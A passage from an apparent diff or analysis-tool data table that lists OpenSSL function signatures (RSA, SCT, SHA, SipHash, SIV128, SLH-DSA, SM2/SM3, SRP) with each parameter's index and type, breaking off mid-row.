ossl_rsa_multiprime_derive | 1 | int | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 2 | int | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 3 | BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 4 | stack_st_BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 5 | stack_st_BIGNUM * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 6 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 0 | RSA * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 1 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 2 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_set0_all_params | 3 | stack_st_BIGNUM * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 0 | RSA * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 1 | stack_st_BIGNUM_const * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 2 | stack_st_BIGNUM_const * | +| (RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *) | | ossl_rsa_get0_all_params | 3 | stack_st_BIGNUM_const * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 4 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *) | | ossl_rsa_padding_add_PKCS1_PSS_mgf1 | 5 | int * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 4 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS_mgf1 | 5 | int | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 0 | RSA * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 1 | unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 2 | const unsigned char * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 3 | const EVP_MD * | +| (RSA *,unsigned char *,const unsigned char *,const EVP_MD *,int) | | RSA_padding_add_PKCS1_PSS | 4 | int | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 0 | RSA * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 1 | void * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 2 | int | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 3 | const BIGNUM * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 4 | BN_CTX * | +| (RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_rsa_fips186_4_gen_prob_primes | 5 | BN_GENCB * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_bn_mod_exp | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_finish | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_finish | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_init | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_init | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_keygen | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_keygen | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_mod_exp | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_mod_exp | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_multi_prime_keygen | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_multi_prime_keygen | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_dec | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_dec | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_enc | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_priv_enc | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_dec | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_dec | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_enc | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_pub_enc | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_sign | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_sign | 1 | ..(*)(..) | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_verify | 0 | RSA_METHOD * | +| (RSA_METHOD *,..(*)(..)) | | RSA_meth_set_verify | 1 | ..(*)(..) | +| (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 0 | RSA_METHOD * | +| (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | const char * | +| (RSA_METHOD *,int) | | RSA_meth_set_flags | 0 | RSA_METHOD * | +| (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | int | +| (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 0 | RSA_METHOD * | +| (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 1 | void * | +| (RSA_OAEP_PARAMS *) | | RSA_OAEP_PARAMS_free | 0 | RSA_OAEP_PARAMS * | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 0 | RSA_OAEP_PARAMS ** | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 1 | const unsigned char ** | +| (RSA_OAEP_PARAMS **,const unsigned char **,long) | | d2i_RSA_OAEP_PARAMS | 2 | long | +| (RSA_PSS_PARAMS *) | | RSA_PSS_PARAMS_free | 0 | RSA_PSS_PARAMS * | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 0 | RSA_PSS_PARAMS ** | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 1 | const unsigned char ** | +| (RSA_PSS_PARAMS **,const unsigned char **,long) | | d2i_RSA_PSS_PARAMS | 2 | long | +| (RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_copy | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_copy | 1 | const RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 1 | int * | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 2 | const OSSL_PARAM[] | +| (RSA_PSS_PARAMS_30 *,int *,const OSSL_PARAM[],OSSL_LIB_CTX *) | | ossl_rsa_pss_params_30_fromdata | 3 | OSSL_LIB_CTX * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | int | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 0 | RSA_PSS_PARAMS_30 * | +| (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | int | +| (SCRYPT_PARAMS *) | | SCRYPT_PARAMS_free | 0 | SCRYPT_PARAMS * | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 0 | SCRYPT_PARAMS ** | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 1 | const unsigned char ** | +| (SCRYPT_PARAMS **,const unsigned char **,long) | | d2i_SCRYPT_PARAMS | 2 | long | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 0 | SCT ** | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 1 | const unsigned char ** | +| (SCT **,const unsigned char **,size_t) | | o2i_SCT | 2 | size_t | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 0 | SCT * | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 1 | const unsigned char ** | +| (SCT *,const unsigned char **,size_t) | | o2i_SCT_signature | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_extensions | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_log_id | 2 | size_t | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 0 | SCT * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 1 | const unsigned char * | +| (SCT *,const unsigned char *,size_t) | | SCT_set1_signature | 2 | size_t | +| (SCT *,ct_log_entry_type_t) | | SCT_set_log_entry_type | 0 | SCT * | +| (SCT *,ct_log_entry_type_t) | | SCT_set_log_entry_type | 1 | ct_log_entry_type_t | +| (SCT *,sct_source_t) | | SCT_set_source | 0 | SCT * | +| (SCT *,sct_source_t) | | SCT_set_source | 1 | sct_source_t | +| (SCT *,sct_version_t) | | SCT_set_version | 0 | SCT * | +| (SCT *,sct_version_t) | | SCT_set_version | 1 | sct_version_t | +| (SCT *,uint64_t) | | SCT_set_timestamp | 0 | SCT * | +| (SCT *,uint64_t) | | SCT_set_timestamp | 1 | uint64_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_extensions | 2 | size_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_log_id | 2 | size_t | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 0 | SCT * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 1 | unsigned char * | +| (SCT *,unsigned char *,size_t) | | SCT_set0_signature | 2 | size_t | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 0 | SCT_CTX * | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 1 | X509 * | +| (SCT_CTX *,X509 *,X509 *) | | SCT_CTX_set1_cert | 2 | X509 * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_issuer_pubkey | 0 | SCT_CTX * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_issuer_pubkey | 1 | X509_PUBKEY * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_pubkey | 0 | SCT_CTX * | +| (SCT_CTX *,X509_PUBKEY *) | | SCT_CTX_set1_pubkey | 1 | X509_PUBKEY * | +| (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 0 | SCT_CTX * | +| (SCT_CTX *,uint64_t) | | SCT_CTX_set_time | 1 | uint64_t | +| (SFRAME_LIST *) | | ossl_sframe_list_is_head_locked | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 1 | UINT_RANGE * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 2 | OSSL_QRX_PKT * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 3 | const unsigned char * | +| (SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int) | | ossl_sframe_list_insert | 4 | int | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 1 | UINT_RANGE * | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 2 | const unsigned char ** | +| (SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *) | | ossl_sframe_list_lock_head | 3 | int * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 1 | sframe_list_write_at_cb * | +| (SFRAME_LIST *,sframe_list_write_at_cb *,void *) | | ossl_sframe_list_move_data | 2 | void * | +| (SFRAME_LIST *,uint64_t) | | ossl_sframe_list_drop_frames | 0 | SFRAME_LIST * | +| (SFRAME_LIST *,uint64_t) | | ossl_sframe_list_drop_frames | 1 | uint64_t | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 0 | SHA256_CTX * | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 1 | const void * | +| (SHA256_CTX *,const void *,size_t) | | SHA224_Update | 2 | size_t | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 0 | SHA256_CTX * | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 1 | const void * | +| (SHA256_CTX *,const void *,size_t) | | SHA256_Update | 2 | size_t | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 0 | SHA512_CTX * | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 1 | const void * | +| (SHA512_CTX *,const void *,size_t) | | SHA384_Update | 2 | size_t | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 0 | SHA512_CTX * | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 1 | const void * | +| (SHA512_CTX *,const void *,size_t) | | SHA512_Update | 2 | size_t | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 0 | SHA_CTX * | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 1 | const void * | +| (SHA_CTX *,const void *,size_t) | | SHA1_Update | 2 | size_t | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 0 | SHA_CTX * | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 1 | int | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 2 | int | +| (SHA_CTX *,int,int,void *) | | ossl_sha1_ctrl | 3 | void * | +| (SIPHASH *) | | SipHash_hash_size | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 1 | const unsigned char * | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 2 | int | +| (SIPHASH *,const unsigned char *,int,int) | | SipHash_Init | 3 | int | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 0 | SIPHASH * | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 1 | const unsigned char * | +| (SIPHASH *,const unsigned char *,size_t) | | SipHash_Update | 2 | size_t | +| (SIPHASH *,size_t) | | SipHash_set_hash_size | 0 | SIPHASH * | +| (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | size_t | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 0 | SIPHASH * | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 1 | unsigned char * | +| (SIPHASH *,unsigned char *,size_t) | | SipHash_Final | 2 | size_t | +| (SIV128_CONTEXT *) | | ossl_siv128_finish | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,SIV128_CONTEXT *) | | ossl_siv128_copy_ctx | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,SIV128_CONTEXT *) | | ossl_siv128_copy_ctx | 1 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 2 | int | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 3 | const EVP_CIPHER * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 4 | const EVP_CIPHER * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 5 | OSSL_LIB_CTX * | +| (SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_init | 6 | const char * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,size_t) | | ossl_siv128_set_tag | 2 | size_t | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 2 | unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_decrypt | 3 | size_t | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 1 | const unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 2 | unsigned char * | +| (SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | ossl_siv128_encrypt | 3 | size_t | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 0 | SIV128_CONTEXT * | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 1 | unsigned char * | +| (SIV128_CONTEXT *,unsigned char *,size_t) | | ossl_siv128_get_tag | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 0 | SLH_DSA_HASH_CTX * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 1 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 3 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 4 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 5 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 6 | int | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 7 | unsigned char * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 8 | size_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t) | | ossl_slh_dsa_sign | 9 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 0 | SLH_DSA_HASH_CTX * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 1 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 2 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 3 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 4 | size_t | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 5 | int | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 6 | const uint8_t * | +| (SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t) | | ossl_slh_dsa_verify | 7 | size_t | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 1 | const OSSL_PARAM * | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 2 | const OSSL_PARAM[] | +| (SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int) | | ossl_slh_dsa_key_fromdata | 3 | int | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 1 | const uint8_t * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_priv | 2 | size_t | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 0 | SLH_DSA_KEY * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 1 | const uint8_t * | +| (SLH_DSA_KEY *,const uint8_t *,size_t) | | ossl_slh_dsa_set_pub | 2 | size_t | +| (SM2_Ciphertext *) | | SM2_Ciphertext_free | 0 | SM2_Ciphertext * | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 0 | SM2_Ciphertext ** | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 1 | const unsigned char ** | +| (SM2_Ciphertext **,const unsigned char **,long) | | d2i_SM2_Ciphertext | 2 | long | +| (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 0 | SM3_CTX * | +| (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 1 | const unsigned char * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 0 | SM3_CTX * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 1 | const void * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_block_data_order | 2 | size_t | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 0 | SM3_CTX * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 1 | const void * | +| (SM3_CTX *,const void *,size_t) | | ossl_sm3_update | 2 | size_t | +| (SRP_VBASE *,SRP_user_pwd *) | | SRP_VBASE_add0_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,SRP_user_pwd *) | | SRP_VBASE_add0_user | 1 | SRP_user_pwd * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | char * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 0 | SRP_VBASE * | +| (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | char * | +| (SRP_user_pwd *,BIGNUM *,BIGNUM *) | | SRP_user_pwd_set0_sv | 